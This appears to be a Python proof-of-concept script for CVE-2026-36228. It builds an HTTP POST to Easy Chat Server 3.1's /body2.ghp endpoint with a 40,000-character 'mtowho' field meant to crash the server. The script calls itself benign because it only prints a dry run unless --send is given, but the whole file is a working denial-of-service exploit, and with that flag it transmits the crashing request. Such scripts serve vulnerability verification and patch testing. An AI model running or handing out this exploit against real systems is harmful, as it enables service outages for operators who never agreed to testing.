#!/usr/bin/env python3 """Benign-by-default verifier for CVE-2026-36228. The described issue is a denial-of-service crash in Easy Chat Server 3.1 when the chat message recipient field receives a very large value. This script prints the generated request by default. It only sends traffic when --send is provided against a system you own or are authorized to test. """ import argparse import socket import sys import urllib.parse DEFAULT_ENDPOINT = "/body2.ghp" DEFAULT_PAYLOAD_SIZE = 40000 def encode_form(form_data: dict[str, str]) -> bytes: parts = [] for key, value in form_data.items(): parts.append( f"{urllib.parse.quote(key, safe='')}=" f"{urllib.parse.quote(str(value), safe='')}" ) return "&".join(parts).encode("utf-8") def build_body(payload_size: int, sender: str, room_id: str, message: str) -> bytes: form_data = { "mtowho": "A" * payload_size, "fromuser": sender, "RoomID": room_id, "message": message, "submit": "Send", } return encode_form(form_data) def build_request( host: str, port: int, endpoint: str, payload_size: int, sender: str, room_id: str, message: str, cookie: str | None, ) -> bytes: body = build_body(payload_size, sender, room_id, message) headers = [ f"POST {endpoint} HTTP/1.1", f"Host: {host}:{port}", "User-Agent: CVE-2026-36228-local-verifier/1.0", "Accept: */*", "Accept-Language: en-us", "Connection: close", "Content-Type: application/x-www-form-urlencoded", f"Content-Length: {len(body)}", ] if cookie: headers.append(f"Cookie: {cookie}") headers.extend(["", ""]) return "\r\n".join(headers).encode("utf-8") + body def send_request(host: str, port: int, request: bytes, timeout: float) -> bytes: with socket.create_connection((host, port), timeout=timeout) as sock: sock.sendall(request) chunks = [] while True: chunk = sock.recv(4096) if not chunk: break chunks.append(chunk) return b"".join(chunks) def main() -> int: parser = argparse.ArgumentParser( description="Benign-by-default Easy Chat Server 3.1 CVE-2026-36228 verifier." ) parser.add_argument("host", help="target host you own or are authorized to test") parser.add_argument("port", type=int, help="target HTTP port, commonly 80") parser.add_argument("--endpoint", default=DEFAULT_ENDPOINT, help="chat message endpoint") parser.add_argument("--payload-size", type=int, default=DEFAULT_PAYLOAD_SIZE) parser.add_argument("--sender", default="proof-user", help="authenticated sender username") parser.add_argument("--room-id", default="1", help="chat room identifier") parser.add_argument("--message", default="CVE-2026-36228 benign verifier") parser.add_argument("--cookie", help="optional authenticated session cookie") parser.add_argument("--timeout", type=float, default=5.0, help="socket timeout") parser.add_argument( "--send", action="store_true", help="send the request; without this flag the script only prints a dry run", ) args = parser.parse_args() if args.payload_size < 1: print("[-] --payload-size must be positive", file=sys.stderr) return 2 request = build_request( args.host, args.port, args.endpoint, args.payload_size, args.sender, args.room_id, args.message, args.cookie, ) print(f"[+] Host: {args.host}:{args.port}") print(f"[+] Endpoint: {args.endpoint}") print(f"[+] mtowho payload size: {args.payload_size}") print(f"[+] Request size: {len(request)} bytes") if not args.send: print("[+] Dry run only. Re-run with --send against an authorized lab target to transmit.") preview = request[:1200].decode("utf-8", errors="replace") if len(request) > 1200: preview += "\n...[request truncated in preview]..." print(preview) return 0 try: response = send_request(args.host, args.port, request, args.timeout) except OSError as exc: print(f"[-] Request failed or target closed the connection: {exc}", file=sys.stderr) return 1 print("[+] Response received, first 500 bytes:") print(response[:500].decode("utf-8", errors="replace")) print("[+] If the target is vulnerable, the Easy Chat Server process may terminate.") return 0 if __name__ == "__main__": raise SystemExit(main())